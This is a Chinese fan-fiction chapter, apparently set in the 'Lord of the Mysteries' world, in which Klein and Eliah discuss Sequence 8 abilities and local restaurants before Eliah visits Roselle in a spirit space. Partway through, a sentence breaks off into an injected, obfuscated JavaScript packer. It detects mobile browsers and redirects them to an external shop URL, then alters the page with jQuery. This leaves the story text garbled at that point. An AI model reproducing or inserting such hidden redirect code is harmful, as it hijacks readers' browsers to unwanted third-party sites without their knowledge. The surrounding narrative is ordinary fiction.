直到伊莱亚从越思考越混乱,像是被猫反复抓来抓去的毛线团一样的思路中拔回大脑,回应了克莱恩的话:“占卜家序列八叫‘小丑’,可以提升身体协调性和平衡力,还有控制面部表情,加强直觉和预感,哦,还可以把纸片变成飞刀。” 在克莱恩微微亮起的眼神里,伊莱亚朝他点头:“所以等你到序列八,你就有一定的正面作战能力了,恭喜。” 16.声情并茂但问餐厅 其实在塔罗会上听到伊莱亚告诉“正义”观众途径各序列所拥有的能力的时候,克莱恩就有点想问伊莱亚对占卜家有什么了解了,但是他顶着愚者的身份,不该问出这么像一个低序列非凡者的疑问。 要是我能有个马甲就好了……高级的问题愚者问,低级的问题就让马甲来问,既不丧失逼格又能解答疑惑。 希望之后能找到可以让他在灰雾上开马甲的办法或者非凡物品吧。克莱恩想着,一边认真地向伊莱亚道谢:“多谢,我感觉我对晋升有更大的期待了。” “不客气,有用就好。”伊莱亚似乎还是在思索着今天审讯特莉丝的过程中得到的那些消息,表情都呈现出几分空白。 然后克莱恩就看着伊莱亚沉吟了一会,抬起头:“克莱恩。” 他的声音低沉而严肃,搞得克莱恩也正经起来,以为伊莱亚有什么很要紧很严肃的事情,甚至做好了开门去告诉队长的准备。 “你是廷根本地人吧?”伊莱亚暗绿色的眼睛真诚的看向克莱恩,情感前所未有的充沛而丰盈,仿佛他在问的不是克莱恩的户籍,而是克莱恩是否婚配。 克莱恩眼皮一跳。 他记得伊莱亚看特莉丝那种大美人的时候都没带上这种令人头皮发麻的眼神。搭配上伊莱亚本就俊美到像是掺杂了非凡能力的脸,哪怕他现在用这种眼神和表情向陌生人求婚,估计都有人会答应。 不对,我在想什么,我又不是gay,伊莱亚更不是。 黑荆棘里gay里gay气的帅哥的有伦纳德就够了,不要再加入新成员了啊! 克莱恩压制住心底的胡思乱想,绷住脸上的表情,但身体微微向后靠了一点,远离伊莱亚那过分真诚的眼神,“对,我是在廷根长大的,有什么事情需要我帮忙的吗?” “那你一定很熟悉廷根的美食吧?餐厅或者甜品都好,你有什么推荐的吗?”伊莱亚双手合十,朝着克莱恩露出恳求的样子,“我经常闻到你身上有很香的味道,感觉你应该很了解这些东西。” 其实还有的原因是克莱恩年龄和他比较相近,同为新人又是同性,性格还很温和,和他的相处较其他人而言也比较多,也不像伦纳德那样身上带了个金手指老爷爷,看起来清清白白没什么大秘密,还有种微妙的亲切感…… 当然,最关键的是伊莱亚老是从克莱恩身上闻到很好闻的菜香味,不同于黑荆棘提供的午饭的气味,也不是伊莱亚逛街的时候去的各类餐厅里能闻到的味道——倒有点像是他上辈子吃的中餐的西化版,让吃了好多顿西餐的他馋的不得了。 你早说你是馋吃的啊!我还以为你这么郑重是要干嘛呢!克莱恩松了一口气,认真给伊莱亚盘点了一下自己去过和知道的餐厅以及吃过的美食,然后道:“我们家出去吃的时间不算多,大部分时候还是自己做饭,我和我妹妹都会做。” 等等。克莱恩的话突然停顿了一下。“你说你闻到什么?” 什么叫闻到我身上的食物味道?你离我也没多近啊为什么你连这都闻得到?你是狗鼻子吗?哦你确实是狼人,但是狼人连嗅觉都会强化的吗?你不觉得这有点吓人吗?克莱恩没多说话,但是心里的想法如同万马飞奔。 伊莱亚认真记下克莱恩所说的廷根美食,在克莱恩讲到“自己做饭”的时候蔫蔫地垂眼。 他不擅长做饭,上辈子就天天吃食堂和外卖,一穿越面对陌生的厨具更是眼前一黑,深感自己像是没学会烧饭就先当了留子的倒霉蛋,甚至这个“留学”的地方还完全没有中餐馆。 本来以为克莱恩熟悉廷根,能告诉他廷根有什么接近中餐的宝藏餐厅,结果原来还是自己烧的啊…… 可恶,伊莱亚的脸皮还没厚到能坦然地去别人家跟别人的家属坐在一起吃饭的程度。 “我的嗅觉比较,呃,灵敏,所以会闻到很多气味。而且我不会烧饭,呃我的意思是你烧的饭真的很香。”在克莱恩的疑惑里,伊莱亚有点不好意思的移开目光,声音略显仓促,甚至有些前言不搭后语。 他当然不是故意凑过去闻别人身上的气味的,只是碰巧和克莱恩有接触,然后就闻到了,仅此而已。 他接触过的其他人身上也有味道,但是克莱恩身上的味道是最香的。 克莱恩微微眯了一下眼。 他怀疑伊莱亚穿越之前年纪不大,至少没工作或者说进入社会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414663|199221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。虽然伊莱亚现在的脸有二十多岁的样子,但是他的行为更像是……高中生或者大学生? 怎么看都是在读书的年纪,结果一穿越,又是遇到莫名其妙的案件又是直接开始上班。 唉,穿越者都不容易啊。 “到下班时间了,我准备回家了。到时候我问问我妹妹,再结合一下我自己的经验,给你写一份菜谱吧。”克莱恩掏出怀表看了一眼,确认了一下时间,于是朝伊莱亚告别,站起身穿好外套,戴上礼帽,离开了办公室。 身后是伊莱亚猛然活泼起来的声音:“好!再见!” —— 伊莱亚今天也不用值班,所以他收拾好东西,离开公司,从克莱恩刚刚提到过的餐厅里随便抽了一家吃晚饭,然后又在草药店和花店买了罗塞尔给的材料单子上有记录,但是他之前还没买到的最后一点东西。 他现在的周薪是按照值夜者正式队员的规格发的,教会和警察厅各支付一半。因为他是序列七的非凡者,所以按照规定,每周可以拿到十五镑。 由于值夜者的编制归教会,伊莱亚的工资不需要缴所得税,发多少钱就可以拿到多少钱。 也正是因此,只要伊莱亚不想着去买房买珠宝买非凡物品和特性,那他的工资用于生活完全是绰绰有余,甚至可以再养几个伊莱亚。 罗塞尔要求的材料大部分不具有灵性,所以在普通的商店也能买,不需要专门去非凡相关的地方找,价格也不算贵,缺点就是跑的趟数比较多。 不过算上先前出来的几趟,伊莱亚已经把需要的材料都买齐了,也不需要再为此特意出门买了。 回到家,伊莱亚把买来的东西整理了一下,划了个灵性之墙,用自己的灵性包裹住眼前的材料,躺在沙发上闭上眼,让灵体下沉。 重重叠叠的呓语和诡异气息包裹着他的灵体,直到伊莱亚在漆黑的世界中醒来。 背后是无尽无垠的暗影,眼前是几番装修之后,他已经基本熟悉了的现代化全屋智能法式装修大平层。 穿着一身短袖家居服,正窝在沙发上看《海绵宝宝》的罗塞尔没回头,只是举起手挥了一下,“呦,小伊回来啦?”